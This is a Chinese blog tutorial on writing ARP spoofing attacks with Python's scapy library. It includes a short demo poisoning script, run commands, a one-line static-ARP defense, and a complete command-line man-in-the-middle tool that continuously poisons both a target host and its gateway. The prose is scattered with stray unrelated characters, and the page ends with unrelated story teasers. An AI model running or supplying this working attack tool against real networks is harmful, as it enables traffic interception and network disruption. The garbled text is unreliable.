Python scapy實(shí)現(xiàn)一個(gè)簡(jiǎn)易arp攻擊腳本

scapy是python寫(xiě)的一個(gè)功能強(qiáng)大的交互式數(shù)據(jù)包處理程序翘狱,可用來(lái)發(fā)送坯约、嗅探熊咽、解析和偽造網(wǎng)絡(luò)數(shù)據(jù)包,常常被用到網(wǎng)絡(luò)攻擊和測(cè)試中闹丐。

scapy的安裝在Linux非常便利横殴,但在Windows下比較復(fù)雜。

以下假定讀者使用的是Ubuntu Linux 和 Python 3 環(huán)境卿拴。

scapy的安裝在Linux下非常便利衫仑,在終端下執(zhí)行以下命令即可完成安裝:

sudo pip3 install scapy-python3

以下是一個(gè)非常簡(jiǎn)單的arp攻擊演示腳本,該腳本可以在實(shí)驗(yàn)環(huán)境下幫助你理解arp協(xié)議的作用和原理堕花,當(dāng)然你甚至可以擴(kuò)充該腳本去編寫(xiě)一個(gè)完整的arp攻擊工具文狱。

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# ARP攻擊演示腳本/arpDemo.py


from scapy.all import (
    Ether,
    ARP,
    sendp
)
# 注意這里面的幾個(gè)方法
# Ether用來(lái)構(gòu)建以太網(wǎng)數(shù)據(jù)包
# ARP是構(gòu)建ARP數(shù)據(jù)包的類
# sendp方法在第二層發(fā)送數(shù)據(jù)包

# Ether用來(lái)構(gòu)建以太網(wǎng)數(shù)據(jù)包
eth = Ether()
arp = ARP(
    # 代表ARP請(qǐng)求或者響應(yīng)
    op="is-at",
 
    # 發(fā)送方Mac地址/毒化記錄中的MAC
    hwsrc="08:00:27:97:d1:f5",
    # 發(fā)送方IP地址/毒化記錄中的IP
    psrc="192.168.31.1",
 
    # 目標(biāo)Mac地址/被欺騙主機(jī)MAC
    hwdst="2C:56:DC:D3:AB:DB",
    # 目標(biāo)IP地址/被欺騙主機(jī)IP地址
    pdst="192.168.31.248"
 
    # 意思就是告訴192.168.31.248這個(gè)地址的主機(jī),IP為192.168.31.100的主機(jī)MAC地址是08:00:27:97:d1:f5
    # 如果不寫(xiě)目標(biāo)主機(jī)的IP和MAC則默認(rèn)以廣播的形式發(fā)送
)
# scapy重載了"/"操作符缘挽,可以用來(lái)表示兩個(gè)協(xié)議層的組合
# 這里我們輸出一下數(shù)據(jù)包的結(jié)構(gòu)信息
print((eth/arp).show())

# 發(fā)送封包瞄崇,并且每間隔1秒重復(fù)發(fā)送
sendp(eth/arp, inter=2, loop=1)

攻擊前我們?cè)谥鳈C(jī)上看一下arp緩存的記錄

arp -a
攻擊前的arp緩存記錄

執(zhí)行腳本:

sudo python3 arpDemo.py
攻擊后的arp緩存記錄

這里我們是對(duì)主機(jī)的網(wǎng)關(guān)記錄進(jìn)行篡改,在執(zhí)行了攻擊腳本后主機(jī)已經(jīng)無(wú)法正常訪問(wèn)互聯(lián)網(wǎng)了壕曼。

如果你要防范這種攻擊也很簡(jiǎn)單苏研,直接將IP和MAC地址的關(guān)系綁定寫(xiě)入arp緩存即可。
在windows你可以通過(guò)arp命令完成腮郊,Linux下與此操作相似摹蘑。

#添加靜態(tài)項(xiàng)
arp -s 192.168.31.1   64-09-80-04-aa-c3

下面是一個(gè)更加復(fù)雜的中間人攻擊腳本范例
你可以進(jìn)一步的去完善它

#!/usr/bin/python3
# -*- coding: utf-8 -*-
'''
ARP 攻擊腳本
'''
 
import argparse
import threading
import time
 
from scapy.all import ARP, Ether, get_if_hwaddr, sendp
from scapy.layers.l2 import getmacbyip
 
 
# 注意這里面的幾個(gè)方法
 
# Ether用來(lái)構(gòu)建以太網(wǎng)數(shù)據(jù)包
# ARP是構(gòu)建ARP數(shù)據(jù)包的類
# sendp方法在第二層發(fā)送數(shù)據(jù)包
# getmacbyip方法用于通過(guò)ip獲取mac地址
# get_if_hwaddr方法獲取指定網(wǎng)卡的mac地址
 
def get_mac(tgt_ip):
    '''
    調(diào)用scapy的getmacbyip函數(shù),獲取攻擊目標(biāo)IP的MAC地址轧飞。
    '''
    tgt_mac = getmacbyip(tgt_ip)
    if tgt_mac is not None:
        return tgt_mac
    else:
        print("無(wú)法獲取IP為:%s 主機(jī)的MAC地址衅鹿,請(qǐng)檢查目標(biāo)IP是否存活"%tgt_ip)
 
 
def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):
    '''
    生成ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)欺騙目標(biāo)計(jì)算機(jī)
    src_mac:本機(jī)的MAC地址过咬,充當(dāng)中間人
    tgt_mac:目標(biāo)計(jì)算機(jī)的MAC
    gateway_ip:網(wǎng)關(guān)的IP塘安,將發(fā)往網(wǎng)關(guān)的數(shù)據(jù)指向本機(jī)(中間人),形成ARP攻擊
    tgt_ip:目標(biāo)計(jì)算機(jī)的IP
    op=is-at,表示ARP響應(yīng)
    '''
    eth = Ether(src=src_mac, dst=tgt_mac)
    arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")
    pkt = eth / arp
    return pkt
 
def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):
    '''
    生成ARP數(shù)據(jù)包援奢,偽造目標(biāo)計(jì)算機(jī)欺騙網(wǎng)關(guān)
    src_mac:本機(jī)的MAC地址兼犯,充當(dāng)中間人
    gateway_mac:網(wǎng)關(guān)的MAC
    tgt_ip:目標(biāo)計(jì)算機(jī)的IP,將網(wǎng)關(guān)發(fā)往目標(biāo)計(jì)算機(jī)的數(shù)據(jù)指向本機(jī)(中間人)集漾,形成ARP攻擊
    gateway_ip:網(wǎng)關(guān)的IP
    op=is-at,表示ARP響應(yīng)
    '''
    eth = Ether(src=src_mac, dst=gateway_mac)
    arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")
    pkt = eth / arp
    return pkt
 
 
def main():
    """
    主方法
    """
    description = "ARP攻擊腳本"
    parser = argparse.ArgumentParser(description=description)
 
    parser.add_argument('-sm', dest='srcmac', type=str, help='發(fā)送源計(jì)算機(jī)的MAC切黔,如果不提供,默認(rèn)將采用本機(jī)的MAC地址')
    parser.add_argument('-t', dest='targetip', type=str, help='指定目標(biāo)計(jì)算機(jī)IP', required=True)
    parser.add_argument('-tm', dest='targetmac', type=str, help='指定目標(biāo)計(jì)算機(jī)MAC具篇,如果不提供纬霞,默認(rèn)將根據(jù)其IP獲取MAC地址')
    parser.add_argument('-g', dest='gatewayip', type=str, help='指定網(wǎng)關(guān)IP', required=True)
    parser.add_argument('-gm', dest='gatewaymac', type=str, help='指定網(wǎng)關(guān)MAC,如果不提供驱显,默認(rèn)將根據(jù)其IP獲取MAC地址')
    parser.add_argument('-i', dest='interface', type=str, help='指定使用的網(wǎng)卡', required=True)
    parser.add_argument('-a', dest='allarp', action='store_true', help='是否進(jìn)行全網(wǎng)arp欺騙')
 
    args = parser.parse_args()
 
    tgt_ip = args.targetip
    gateway_ip = args.gatewayip
    interface = args.interface
 
    srcmac = args.srcmac
    targetmac = args.targetmac
    gatewaymac = args.gatewaymac
 
    if tgt_ip is None or gateway_ip is None or interface is None:
        print(parser.print_help())
        exit(0)
 
    src_mac = srcmac
    if src_mac is None:
        src_mac = get_if_hwaddr(interface)
 
    print('本機(jī)MAC地址是:', src_mac)
    print("目標(biāo)計(jì)算機(jī)IP地址是:", tgt_ip)
 
    tgt_mac = targetmac
    if tgt_mac is None:
        tgt_mac = get_mac(tgt_ip)
 
    print("目標(biāo)計(jì)算機(jī)MAC地址是:", tgt_mac)
    print("網(wǎng)關(guān)IP地址是:", gateway_ip)
 
    gateway_mac = gatewaymac
    if gateway_mac is None:
        gateway_mac = get_mac(gateway_ip)
 
    print("網(wǎng)關(guān)MAC地址是:", gateway_mac)
 
    input('按任意鍵繼續(xù):')
 
    pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)
    pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)

    # 如果不展示發(fā)送情況的話下面的語(yǔ)句可以更加簡(jiǎn)便直接用sendp方法提供的功能循環(huán)發(fā)送即可诗芜,不需要多線程和死循環(huán)瞳抓。
    # sendp(pkt_station, inter=1, loop=1)
    # sendp(pkt_gateway, inter=1, loop=1)

    i = 1
    while True:
        t = threading.Thread(
            target=sendp,
            args=(pkt_station,),
            kwargs={'inter':1, 'iface':interface}
        )
        t.start()
        t.join()
        print(str(i) + " [*]發(fā)送一個(gè)計(jì)算機(jī)ARP欺騙包")
 
        s = threading.Thread(
            target=sendp,
            args=(pkt_gateway,),
            kwargs={'inter':1, 'iface':interface}
        )
        s.start()
        s.join()
 
        print(str(i) + " [*]發(fā)送一個(gè)網(wǎng)關(guān)ARP欺騙包")
        i += 1
        time.sleep(1)
 
if __name__ == '__main__':
    main()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市伏恐,隨后出現(xiàn)的幾起案子孩哑,更是在濱河造成了極大的恐慌,老刑警劉巖翠桦,帶你破解...
    沈念sama閱讀 218,122評(píng)論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件横蜒,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡销凑,警方通過(guò)查閱死者的電腦和手機(jī)丛晌,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,070評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)斗幼,“玉大人澎蛛,你說(shuō)我怎么就攤上這事⊥闪” “怎么了瓶竭?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,491評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)渠羞。 經(jīng)常有香客問(wèn)我斤贰,道長(zhǎng),這世上最難降的妖魔是什么次询? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,636評(píng)論 1 293
  • 正文 為了忘掉前任荧恍,我火速辦了婚禮,結(jié)果婚禮上屯吊,老公的妹妹穿的比我還像新娘送巡。我一直安慰自己,他們只是感情好盒卸,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,676評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布骗爆。 她就那樣靜靜地躺著,像睡著了一般蔽介。 火紅的嫁衣襯著肌膚如雪摘投。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,541評(píng)論 1 305
  • 那天虹蓄,我揣著相機(jī)與錄音犀呼,去河邊找鬼。 笑死薇组,一個(gè)胖子當(dāng)著我的面吹牛外臂,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播律胀,決...
    沈念sama閱讀 40,292評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼宋光,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼貌矿!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起罪佳,我...
    開(kāi)封第一講書(shū)人閱讀 39,211評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤逛漫,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后菇民,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,655評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡投储,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,846評(píng)論 3 336
  • 正文 我和宋清朗相戀三年第练,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片玛荞。...
    茶點(diǎn)故事閱讀 39,965評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡娇掏,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出勋眯,到底是詐尸還是另有隱情婴梧,我是刑警寧澤,帶...
    沈念sama閱讀 35,684評(píng)論 5 347
  • 正文 年R本政府宣布客蹋,位于F島的核電站塞蹭,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏讶坯。R本人自食惡果不足惜番电,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,295評(píng)論 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望辆琅。 院中可真熱鬧漱办,春花似錦、人聲如沸婉烟。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,894評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)似袁。三九已至洞辣,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間昙衅,已是汗流浹背屋彪。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,012評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留绒尊,地道東北人畜挥。 一個(gè)月前我還...
    沈念sama閱讀 48,126評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像婴谱,于是被迫代替她去往敵國(guó)和親蟹但。 傳聞我的和親對(duì)象是個(gè)殘疾皇子躯泰,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,914評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容